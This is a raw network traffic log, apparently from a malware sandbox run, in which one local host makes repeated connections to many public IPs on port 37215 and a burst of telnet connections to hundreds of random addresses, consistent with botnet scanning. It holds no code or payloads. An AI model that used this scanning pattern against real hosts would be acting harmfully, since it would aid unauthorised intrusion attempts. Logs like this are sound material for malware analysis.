Oct 14, 2024 17:34:17.275262117 CEST	37215	44162	41.31.159.219	192.168.2.14
Oct 14, 2024 17:34:17.276527882 CEST	37215	44296	41.31.159.219	192.168.2.14
Oct 14, 2024 17:34:17.276581049 CEST	44296	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.276611090 CEST	44296	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.282346964 CEST	37215	44296	41.31.159.219	192.168.2.14
Oct 14, 2024 17:34:17.282393932 CEST	44296	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.291232109 CEST	80	41200	223.63.237.131	192.168.2.14
Oct 14, 2024 17:34:17.291243076 CEST	80	53756	36.229.215.172	192.168.2.14
Oct 14, 2024 17:34:17.291261911 CEST	80	36290	137.46.73.168	192.168.2.14
Oct 14, 2024 17:34:17.291449070 CEST	37556	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:17.291462898 CEST	37180	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.291469097 CEST	58986	37215	192.168.2.14	197.14.250.68
Oct 14, 2024 17:34:17.291469097 CEST	39036	37215	192.168.2.14	41.75.216.122
Oct 14, 2024 17:34:17.291469097 CEST	39682	37215	192.168.2.14	41.71.82.244
Oct 14, 2024 17:34:17.291470051 CEST	34290	37215	192.168.2.14	197.215.97.80
Oct 14, 2024 17:34:17.291475058 CEST	54626	37215	192.168.2.14	197.7.68.0
Oct 14, 2024 17:34:17.291475058 CEST	53332	37215	192.168.2.14	156.35.115.66
Oct 14, 2024 17:34:17.295137882 CEST	80	44646	155.83.97.123	192.168.2.14
Oct 14, 2024 17:34:17.296359062 CEST	37215	37556	156.34.154.136	192.168.2.14
Oct 14, 2024 17:34:17.296479940 CEST	37215	37180	41.248.6.88	192.168.2.14
Oct 14, 2024 17:34:17.296497107 CEST	37556	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:17.296497107 CEST	37556	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:17.296498060 CEST	37556	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:17.296550989 CEST	37180	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.297318935 CEST	37670	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:17.298666000 CEST	37180	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.298666954 CEST	37180	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.299101114 CEST	80	52198	154.189.149.132	192.168.2.14
Oct 14, 2024 17:34:17.299510956 CEST	37308	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.301470041 CEST	37215	37556	156.34.154.136	192.168.2.14
Oct 14, 2024 17:34:17.303462029 CEST	37215	37180	41.248.6.88	192.168.2.14
Oct 14, 2024 17:34:17.304299116 CEST	37215	37308	41.248.6.88	192.168.2.14
Oct 14, 2024 17:34:17.304378033 CEST	37308	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.304378033 CEST	37308	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.309837103 CEST	37215	37308	41.248.6.88	192.168.2.14
Oct 14, 2024 17:34:17.310004950 CEST	37308	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:17.319202900 CEST	37215	55058	41.151.2.41	192.168.2.14
Oct 14, 2024 17:34:17.319214106 CEST	37215	44162	41.31.159.219	192.168.2.14
Oct 14, 2024 17:34:17.323453903 CEST	41506	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:17.323463917 CEST	59802	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:17.323462963 CEST	50794	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:17.323462963 CEST	47834	37215	192.168.2.14	156.45.137.16
Oct 14, 2024 17:34:17.323486090 CEST	49506	37215	192.168.2.14	197.180.247.201
Oct 14, 2024 17:34:17.323491096 CEST	44636	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:17.328490973 CEST	37215	41506	41.97.33.14	192.168.2.14
Oct 14, 2024 17:34:17.328509092 CEST	37215	59802	197.206.92.149	192.168.2.14
Oct 14, 2024 17:34:17.328557968 CEST	41506	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:17.328619957 CEST	59802	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:17.328619957 CEST	59802	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:17.328639984 CEST	41506	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:17.328639984 CEST	41506	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:17.329149008 CEST	41616	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:17.333524942 CEST	37215	41506	41.97.33.14	192.168.2.14
Oct 14, 2024 17:34:17.334224939 CEST	37215	59802	197.206.92.149	192.168.2.14
Oct 14, 2024 17:34:17.334271908 CEST	59802	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:17.347244978 CEST	37215	37556	156.34.154.136	192.168.2.14
Oct 14, 2024 17:34:17.347259045 CEST	37215	37180	41.248.6.88	192.168.2.14
Oct 14, 2024 17:34:17.355442047 CEST	50596	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:17.355463982 CEST	47494	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:17.355463982 CEST	32994	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:17.355530024 CEST	51438	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:17.355530977 CEST	56174	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:17.355532885 CEST	46208	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:17.360452890 CEST	37215	50596	197.100.215.91	192.168.2.14
Oct 14, 2024 17:34:17.360465050 CEST	37215	47494	41.221.218.63	192.168.2.14
Oct 14, 2024 17:34:17.360488892 CEST	37215	32994	197.147.252.31	192.168.2.14
Oct 14, 2024 17:34:17.360517979 CEST	50596	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:17.360518932 CEST	47494	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:17.360537052 CEST	32994	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:17.360553026 CEST	47494	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:17.360567093 CEST	50596	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:17.360600948 CEST	32994	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:17.366219044 CEST	37215	50596	197.100.215.91	192.168.2.14
Oct 14, 2024 17:34:17.366276979 CEST	50596	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:17.366769075 CEST	37215	47494	41.221.218.63	192.168.2.14
Oct 14, 2024 17:34:17.366811037 CEST	47494	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:17.366887093 CEST	37215	32994	197.147.252.31	192.168.2.14
Oct 14, 2024 17:34:17.366930008 CEST	32994	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:17.375235081 CEST	37215	41506	41.97.33.14	192.168.2.14
Oct 14, 2024 17:34:17.775058985 CEST	29508	23	192.168.2.14	172.246.21.27
Oct 14, 2024 17:34:17.775068045 CEST	29508	23	192.168.2.14	51.39.201.182
Oct 14, 2024 17:34:17.775068045 CEST	29508	23	192.168.2.14	94.224.139.152
Oct 14, 2024 17:34:17.775073051 CEST	29508	23	192.168.2.14	162.80.103.192
Oct 14, 2024 17:34:17.775073051 CEST	29508	23	192.168.2.14	82.102.105.172
Oct 14, 2024 17:34:17.775073051 CEST	29508	23	192.168.2.14	71.42.198.54
Oct 14, 2024 17:34:17.775074005 CEST	29508	23	192.168.2.14	5.169.239.60
Oct 14, 2024 17:34:17.775073051 CEST	29508	23	192.168.2.14	94.198.202.107
Oct 14, 2024 17:34:17.775074005 CEST	29508	23	192.168.2.14	64.64.32.41
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	149.23.240.215
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	105.226.59.149
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	78.227.161.238
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	63.106.48.91
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	150.227.172.254
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	37.212.18.213
Oct 14, 2024 17:34:17.775077105 CEST	29508	23	192.168.2.14	118.97.197.38
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	179.205.236.216
Oct 14, 2024 17:34:17.775077105 CEST	29508	23	192.168.2.14	87.194.101.170
Oct 14, 2024 17:34:17.775079012 CEST	29508	23	192.168.2.14	67.101.233.166
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	114.84.16.117
Oct 14, 2024 17:34:17.775077105 CEST	29508	23	192.168.2.14	203.238.61.100
Oct 14, 2024 17:34:17.775077105 CEST	29508	23	192.168.2.14	18.239.105.115
Oct 14, 2024 17:34:17.775075912 CEST	29508	23	192.168.2.14	52.95.214.105
Oct 14, 2024 17:34:17.775077105 CEST	29508	23	192.168.2.14	221.23.182.203
Oct 14, 2024 17:34:17.775079012 CEST	29508	23	192.168.2.14	27.91.32.236
Oct 14, 2024 17:34:17.775141001 CEST	29508	23	192.168.2.14	97.123.103.189
Oct 14, 2024 17:34:17.775146961 CEST	29508	23	192.168.2.14	44.163.110.147
Oct 14, 2024 17:34:17.775146961 CEST	29508	23	192.168.2.14	168.110.252.51
Oct 14, 2024 17:34:17.775146961 CEST	29508	23	192.168.2.14	45.123.219.250
Oct 14, 2024 17:34:17.775183916 CEST	29508	23	192.168.2.14	206.153.20.111
Oct 14, 2024 17:34:17.775183916 CEST	29508	23	192.168.2.14	73.144.174.181
Oct 14, 2024 17:34:17.775183916 CEST	29508	23	192.168.2.14	73.146.155.184
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	34.191.85.58
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	192.96.3.58
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	72.215.153.88
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	1.63.85.94
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	193.50.2.3
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	57.236.156.143
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	92.21.200.86
Oct 14, 2024 17:34:17.775186062 CEST	29508	23	192.168.2.14	43.113.165.194
Oct 14, 2024 17:34:17.775193930 CEST	29508	23	192.168.2.14	131.223.161.142
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	46.34.3.87
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	201.97.136.168
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	69.219.110.237
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	195.50.99.207
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	103.133.83.177
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	112.31.80.183
Oct 14, 2024 17:34:17.775196075 CEST	29508	23	192.168.2.14	51.212.82.117
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	65.218.221.116
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	92.129.120.23
Oct 14, 2024 17:34:17.775196075 CEST	29508	23	192.168.2.14	90.49.239.134
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	200.153.24.92
Oct 14, 2024 17:34:17.775197029 CEST	29508	23	192.168.2.14	173.155.6.5
Oct 14, 2024 17:34:17.775196075 CEST	29508	23	192.168.2.14	139.223.51.38
Oct 14, 2024 17:34:17.775197029 CEST	29508	23	192.168.2.14	120.254.118.249
Oct 14, 2024 17:34:17.775196075 CEST	29508	23	192.168.2.14	139.143.69.24
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	130.10.54.222
Oct 14, 2024 17:34:17.775196075 CEST	29508	23	192.168.2.14	112.56.127.162
Oct 14, 2024 17:34:17.775197029 CEST	29508	23	192.168.2.14	112.89.242.79
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	105.207.217.134
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	201.73.97.86
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	24.89.246.103
Oct 14, 2024 17:34:17.775197029 CEST	29508	23	192.168.2.14	168.248.29.238
Oct 14, 2024 17:34:17.775196075 CEST	29508	23	192.168.2.14	132.251.56.203
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	139.137.177.115
Oct 14, 2024 17:34:17.775196075 CEST	29508	23	192.168.2.14	192.205.152.253
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	142.168.189.106
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	172.43.156.10
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	118.254.93.221
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	204.8.6.185
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	182.15.23.29
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	37.208.24.83
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	172.92.12.209
Oct 14, 2024 17:34:17.775197029 CEST	29508	23	192.168.2.14	107.131.197.141
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	71.54.20.168
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	71.230.158.231
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	106.197.22.53
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	187.143.165.185
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	158.254.184.70
Oct 14, 2024 17:34:17.775199890 CEST	29508	23	192.168.2.14	159.62.174.236
Oct 14, 2024 17:34:17.775223970 CEST	29508	23	192.168.2.14	132.166.0.1
Oct 14, 2024 17:34:17.775222063 CEST	29508	23	192.168.2.14	36.247.178.108
Oct 14, 2024 17:34:17.775223970 CEST	29508	23	192.168.2.14	154.86.196.29
Oct 14, 2024 17:34:17.775222063 CEST	29508	23	192.168.2.14	157.202.253.165
Oct 14, 2024 17:34:17.775194883 CEST	29508	23	192.168.2.14	37.172.163.234
Oct 14, 2024 17:34:17.775222063 CEST	29508	23	192.168.2.14	75.204.208.218
Oct 14, 2024 17:34:17.775223970 CEST	29508	23	192.168.2.14	64.40.173.31
Oct 14, 2024 17:34:17.775222063 CEST	29508	23	192.168.2.14	176.105.222.41
Oct 14, 2024 17:34:17.775224924 CEST	29508	23	192.168.2.14	160.80.43.5
Oct 14, 2024 17:34:17.775222063 CEST	29508	23	192.168.2.14	19.50.140.82
Oct 14, 2024 17:34:17.775224924 CEST	29508	23	192.168.2.14	143.42.130.229
Oct 14, 2024 17:34:17.775222063 CEST	29508	23	192.168.2.14	202.64.61.118
Oct 14, 2024 17:34:17.775224924 CEST	29508	23	192.168.2.14	4.58.28.196
Oct 14, 2024 17:34:17.775224924 CEST	29508	23	192.168.2.14	107.201.188.67
Oct 14, 2024 17:34:17.775224924 CEST	29508	23	192.168.2.14	189.209.248.129
Oct 14, 2024 17:34:17.775229931 CEST	29508	23	192.168.2.14	177.209.86.60
Oct 14, 2024 17:34:17.775229931 CEST	29508	23	192.168.2.14	191.159.250.8
Oct 14, 2024 17:34:17.775229931 CEST	29508	23	192.168.2.14	170.184.204.95
Oct 14, 2024 17:34:17.775229931 CEST	29508	23	192.168.2.14	2.47.13.103
Oct 14, 2024 17:34:17.775229931 CEST	29508	23	192.168.2.14	9.86.76.170
Oct 14, 2024 17:34:17.775229931 CEST	29508	23	192.168.2.14	115.32.128.16
Oct 14, 2024 17:34:17.775229931 CEST	29508	23	192.168.2.14	152.110.5.113
Oct 14, 2024 17:34:17.775233984 CEST	29508	23	192.168.2.14	19.88.177.102
Oct 14, 2024 17:34:17.775233984 CEST	29508	23	192.168.2.14	222.231.190.3
Oct 14, 2024 17:34:17.775233984 CEST	29508	23	192.168.2.14	138.218.150.16
Oct 14, 2024 17:34:17.775233984 CEST	29508	23	192.168.2.14	4.149.77.63
Oct 14, 2024 17:34:17.775233984 CEST	29508	23	192.168.2.14	83.74.103.184
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	99.255.22.139
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	167.39.241.186
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	163.148.2.73
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	85.93.193.169
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	36.214.144.13
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	24.127.117.151
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	198.173.155.78
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	58.100.6.127
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	196.220.163.191
Oct 14, 2024 17:34:17.775237083 CEST	29508	23	192.168.2.14	177.216.132.235
Oct 14, 2024 17:34:17.775247097 CEST	29508	23	192.168.2.14	222.64.21.65
Oct 14, 2024 17:34:17.775247097 CEST	29508	23	192.168.2.14	51.82.94.197
Oct 14, 2024 17:34:17.775247097 CEST	29508	23	192.168.2.14	86.254.66.148
Oct 14, 2024 17:34:17.775247097 CEST	29508	23	192.168.2.14	85.161.222.228
Oct 14, 2024 17:34:17.775247097 CEST	29508	23	192.168.2.14	19.126.57.71
Oct 14, 2024 17:34:17.775247097 CEST	29508	23	192.168.2.14	144.28.210.231
Oct 14, 2024 17:34:17.775247097 CEST	29508	23	192.168.2.14	95.244.53.191
Oct 14, 2024 17:34:17.775248051 CEST	29508	23	192.168.2.14	144.157.22.152
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	210.8.213.49
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	192.194.121.137
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	71.18.229.149
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	98.214.253.29
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	24.27.134.135
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	74.103.103.198
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	46.173.49.36
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	67.35.78.242
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	114.36.103.61
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	219.208.17.225
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	83.75.172.133
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	71.217.218.135
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	158.223.154.187
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	62.171.20.32
Oct 14, 2024 17:34:17.775252104 CEST	29508	23	192.168.2.14	185.96.73.193
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	168.64.67.27
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	166.0.17.226
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	141.77.4.47
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	182.51.229.90
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	188.159.86.64
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	139.207.17.95
Oct 14, 2024 17:34:17.775254965 CEST	29508	23	192.168.2.14	71.212.103.162
Oct 14, 2024 17:34:17.775259972 CEST	29508	23	192.168.2.14	37.227.253.169
Oct 14, 2024 17:34:17.775259972 CEST	29508	23	192.168.2.14	153.193.146.122
Oct 14, 2024 17:34:17.775260925 CEST	29508	23	192.168.2.14	78.99.239.53
Oct 14, 2024 17:34:17.775260925 CEST	29508	23	192.168.2.14	4.29.94.250
Oct 14, 2024 17:34:17.775260925 CEST	29508	23	192.168.2.14	68.150.124.3
Oct 14, 2024 17:34:17.775260925 CEST	29508	23	192.168.2.14	188.126.131.189
Oct 14, 2024 17:34:17.775260925 CEST	29508	23	192.168.2.14	133.255.119.140
Oct 14, 2024 17:34:17.775260925 CEST	29508	23	192.168.2.14	27.163.90.41
Oct 14, 2024 17:34:17.775264025 CEST	29508	23	192.168.2.14	220.67.233.137
Oct 14, 2024 17:34:17.775264025 CEST	29508	23	192.168.2.14	90.11.189.175
Oct 14, 2024 17:34:17.775280952 CEST	29508	23	192.168.2.14	106.211.9.107
Oct 14, 2024 17:34:17.775280952 CEST	29508	23	192.168.2.14	84.164.18.88
Oct 14, 2024 17:34:17.775281906 CEST	29508	23	192.168.2.14	117.55.193.166
Oct 14, 2024 17:34:17.775280952 CEST	29508	23	192.168.2.14	115.102.76.188
Oct 14, 2024 17:34:17.775281906 CEST	29508	23	192.168.2.14	197.240.107.188
Oct 14, 2024 17:34:17.775285006 CEST	29508	23	192.168.2.14	82.39.146.75
Oct 14, 2024 17:34:17.775285006 CEST	29508	23	192.168.2.14	83.128.5.170
Oct 14, 2024 17:34:17.775285006 CEST	29508	23	192.168.2.14	91.212.181.1
Oct 14, 2024 17:34:17.775285006 CEST	29508	23	192.168.2.14	157.236.103.141
Oct 14, 2024 17:34:17.775285006 CEST	29508	23	192.168.2.14	104.76.34.160
Oct 14, 2024 17:34:17.775285006 CEST	29508	23	192.168.2.14	104.150.221.38
Oct 14, 2024 17:34:17.775288105 CEST	29508	23	192.168.2.14	37.173.38.253
Oct 14, 2024 17:34:17.775288105 CEST	29508	23	192.168.2.14	189.168.166.170
Oct 14, 2024 17:34:17.775289059 CEST	29508	23	192.168.2.14	168.113.77.248
Oct 14, 2024 17:34:17.775289059 CEST	29508	23	192.168.2.14	31.234.161.49
Oct 14, 2024 17:34:17.775289059 CEST	29508	23	192.168.2.14	62.167.178.155
Oct 14, 2024 17:34:17.775290012 CEST	29508	23	192.168.2.14	12.199.57.207
Oct 14, 2024 17:34:17.775289059 CEST	29508	23	192.168.2.14	203.235.233.215
Oct 14, 2024 17:34:17.775290012 CEST	29508	23	192.168.2.14	175.212.127.145
Oct 14, 2024 17:34:17.775289059 CEST	29508	23	192.168.2.14	35.49.71.75
Oct 14, 2024 17:34:17.775290012 CEST	29508	23	192.168.2.14	177.115.12.142
Oct 14, 2024 17:34:17.775289059 CEST	29508	23	192.168.2.14	172.170.18.248
Oct 14, 2024 17:34:17.775290012 CEST	29508	23	192.168.2.14	98.218.181.96
Oct 14, 2024 17:34:17.775290012 CEST	29508	23	192.168.2.14	135.208.185.30
Oct 14, 2024 17:34:17.775290012 CEST	29508	23	192.168.2.14	183.112.204.105
Oct 14, 2024 17:34:17.775290012 CEST	29508	23	192.168.2.14	167.19.217.114
Oct 14, 2024 17:34:17.775301933 CEST	29508	23	192.168.2.14	166.155.105.164
Oct 14, 2024 17:34:17.775301933 CEST	29508	23	192.168.2.14	51.62.84.98
Oct 14, 2024 17:34:17.775305033 CEST	29508	23	192.168.2.14	153.179.57.68
Oct 14, 2024 17:34:17.775305033 CEST	29508	23	192.168.2.14	157.114.81.10
Oct 14, 2024 17:34:17.775305033 CEST	29508	23	192.168.2.14	221.149.82.11
Oct 14, 2024 17:34:17.775305033 CEST	29508	23	192.168.2.14	44.52.125.19
Oct 14, 2024 17:34:17.775314093 CEST	29508	23	192.168.2.14	140.62.175.49
Oct 14, 2024 17:34:17.775314093 CEST	29508	23	192.168.2.14	98.152.95.237
Oct 14, 2024 17:34:17.775314093 CEST	29508	23	192.168.2.14	19.57.16.173
Oct 14, 2024 17:34:17.775316000 CEST	29508	23	192.168.2.14	162.34.152.199
Oct 14, 2024 17:34:17.775319099 CEST	29508	23	192.168.2.14	80.57.209.161
Oct 14, 2024 17:34:17.775319099 CEST	29508	23	192.168.2.14	206.55.247.68
Oct 14, 2024 17:34:17.775319099 CEST	29508	23	192.168.2.14	14.223.20.198
Oct 14, 2024 17:34:17.775319099 CEST	29508	23	192.168.2.14	113.87.112.31
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	40.54.152.36
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	49.105.58.146
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	91.152.162.32
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	40.63.179.242
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	162.46.231.178
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	194.150.111.105
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	85.130.191.241
Oct 14, 2024 17:34:17.775319099 CEST	29508	23	192.168.2.14	184.14.217.243
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	107.29.219.5
Oct 14, 2024 17:34:17.775319099 CEST	29508	23	192.168.2.14	177.156.244.142
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	76.48.138.192
Oct 14, 2024 17:34:17.775320053 CEST	29508	23	192.168.2.14	205.195.16.174
Oct 14, 2024 17:34:17.775331020 CEST	29508	23	192.168.2.14	171.152.189.40
Oct 14, 2024 17:34:17.775331020 CEST	29508	23	192.168.2.14	76.203.75.234
Oct 14, 2024 17:34:17.775331020 CEST	29508	23	192.168.2.14	58.164.149.33
Oct 14, 2024 17:34:17.775336027 CEST	29508	23	192.168.2.14	154.51.180.193
Oct 14, 2024 17:34:17.775336027 CEST	29508	23	192.168.2.14	86.193.15.14
Oct 14, 2024 17:34:17.775336027 CEST	29508	23	192.168.2.14	120.206.47.204
Oct 14, 2024 17:34:17.775336027 CEST	29508	23	192.168.2.14	108.92.216.59
Oct 14, 2024 17:34:17.775336981 CEST	29508	23	192.168.2.14	52.140.28.102
Oct 14, 2024 17:34:17.775336027 CEST	29508	23	192.168.2.14	152.29.226.166
Oct 14, 2024 17:34:17.775336981 CEST	29508	23	192.168.2.14	184.148.93.15
Oct 14, 2024 17:34:17.775337934 CEST	29508	23	192.168.2.14	212.81.43.47
Oct 14, 2024 17:34:17.775337934 CEST	29508	23	192.168.2.14	148.69.200.18
Oct 14, 2024 17:34:17.775346994 CEST	29508	23	192.168.2.14	39.206.179.148
Oct 14, 2024 17:34:17.775350094 CEST	29508	23	192.168.2.14	91.157.150.238
Oct 14, 2024 17:34:17.775350094 CEST	29508	23	192.168.2.14	180.155.18.25
Oct 14, 2024 17:34:17.775351048 CEST	29508	23	192.168.2.14	146.184.81.243
Oct 14, 2024 17:34:17.775351048 CEST	29508	23	192.168.2.14	207.90.188.222
Oct 14, 2024 17:34:17.775352001 CEST	29508	23	192.168.2.14	183.34.85.137
Oct 14, 2024 17:34:17.775361061 CEST	29508	23	192.168.2.14	118.26.31.84
Oct 14, 2024 17:34:17.775361061 CEST	29508	23	192.168.2.14	54.86.80.63
Oct 14, 2024 17:34:17.775361061 CEST	29508	23	192.168.2.14	196.251.100.134
Oct 14, 2024 17:34:17.775363922 CEST	29508	23	192.168.2.14	177.190.89.32
Oct 14, 2024 17:34:17.775363922 CEST	29508	23	192.168.2.14	78.227.154.170
Oct 14, 2024 17:34:17.775367022 CEST	29508	23	192.168.2.14	175.42.188.135
Oct 14, 2024 17:34:17.775367022 CEST	29508	23	192.168.2.14	211.251.184.93
Oct 14, 2024 17:34:17.775367975 CEST	29508	23	192.168.2.14	9.34.98.118
Oct 14, 2024 17:34:17.775367975 CEST	29508	23	192.168.2.14	69.155.59.29
Oct 14, 2024 17:34:17.775367975 CEST	29508	23	192.168.2.14	54.126.187.191
Oct 14, 2024 17:34:17.775367975 CEST	29508	23	192.168.2.14	112.25.226.69
Oct 14, 2024 17:34:17.775372982 CEST	29508	23	192.168.2.14	211.40.51.218
Oct 14, 2024 17:34:17.775376081 CEST	29508	23	192.168.2.14	74.115.88.59
Oct 14, 2024 17:34:17.775377035 CEST	29508	23	192.168.2.14	41.115.169.115
Oct 14, 2024 17:34:17.775376081 CEST	29508	23	192.168.2.14	42.177.18.160
Oct 14, 2024 17:34:17.775377035 CEST	29508	23	192.168.2.14	96.150.104.53
Oct 14, 2024 17:34:17.775377035 CEST	29508	23	192.168.2.14	102.133.238.202
Oct 14, 2024 17:34:17.775388002 CEST	29508	23	192.168.2.14	81.43.9.212
Oct 14, 2024 17:34:17.775388002 CEST	29508	23	192.168.2.14	156.195.95.20
Oct 14, 2024 17:34:17.775394917 CEST	29508	23	192.168.2.14	47.159.179.16
Oct 14, 2024 17:34:17.775396109 CEST	29508	23	192.168.2.14	37.30.248.44
Oct 14, 2024 17:34:17.775396109 CEST	29508	23	192.168.2.14	60.194.45.55
Oct 14, 2024 17:34:17.775402069 CEST	29508	23	192.168.2.14	84.228.38.209
Oct 14, 2024 17:34:17.775403023 CEST	29508	23	192.168.2.14	166.4.189.64
Oct 14, 2024 17:34:17.775403023 CEST	29508	23	192.168.2.14	63.115.40.141
